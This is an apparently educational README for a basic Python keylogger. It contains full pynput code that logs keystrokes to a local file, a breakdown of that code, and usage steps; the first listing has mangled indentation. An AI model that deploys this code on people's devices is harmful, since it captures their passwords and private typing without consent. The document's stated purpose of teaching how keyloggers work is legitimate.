Keylogger Cybersecurity Project

Keylogger Cybersecurity Project

Introduction

This project involves creating a basic keylogger using the `pynput` library in Python. The keylogger captures keystrokes and logs them into a file named `keyfile.text`. This project is intended for educational purposes to understand how keyloggers work and to emphasize the importance of cybersecurity measures to protect against such threats.

Requirements

- Python 3.x
- `pynput` library

Installation

To install the `pynput` library, use the following command:

```
pip install pynput
```

Code Explanation

The following code sets up a keylogger that logs each keystroke to a file:

```
from pynput import keyboard

def keyPressed(key):
    print(str(key))
    with open("keyfile.text", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
```

```
            except:
                print("Errors getting char")

    if __name__=="__main__":
        listener = keyboard.Listener(on_press=keyPressed)
        listener.start()
        input()
```

Code Breakdown

1. **Importing the Library**:

   ```
   from pynput import keyboard
   ```

2. This imports the `keyboard` module from the `pynput` library, which allows us to monitor and control keyboard events.

3. **Defining the `keyPressed` Function**:

   ```
   def keyPressed(key):
       print(str(key))
       with open("keyfile.text", 'a') as logKey:
           try:
               char = key.char
               logKey.write(char)
           except:
               print("Errors getting char")
   ```

   - This function is called whenever a key is pressed.
   - It prints the key to the console.
   - It attempts to write the character representation of the key to `keyfile.text`. If the key does not have a character representation (e.g., special keys like `Shift` or `Ctrl`), it catches the exception and prints an error message.

4. **Setting Up the Listener**:

   ```
   if __name__=="__main__":
       listener = keyboard.Listener(on_press=keyPressed)
       listener.start()
       input()
   ```

   - This sets up a listener that triggers the `keyPressed` function whenever a key is pressed.
   - The listener runs in the background, and the script waits for user input to keep running.

Usage

1. Run the script:

   ```
   python keylogger.py
   ```

2. The script will start logging keystrokes to `keyfile.text`.

Security Considerations

- **Ethical Use**: Ensure that you have permission to log keystrokes on any device. Unauthorized keylogging is illegal and unethical.
- **Detection and Prevention**: Understand how keyloggers work to better protect systems against them. Use antivirus software and keep systems updated to prevent keylogger infections.

Conclusion

This project demonstrates the basic functionality of a keylogger using Python. It serves as a learning tool to understand the importance of cybersecurity and the potential threats posed by keyloggers.
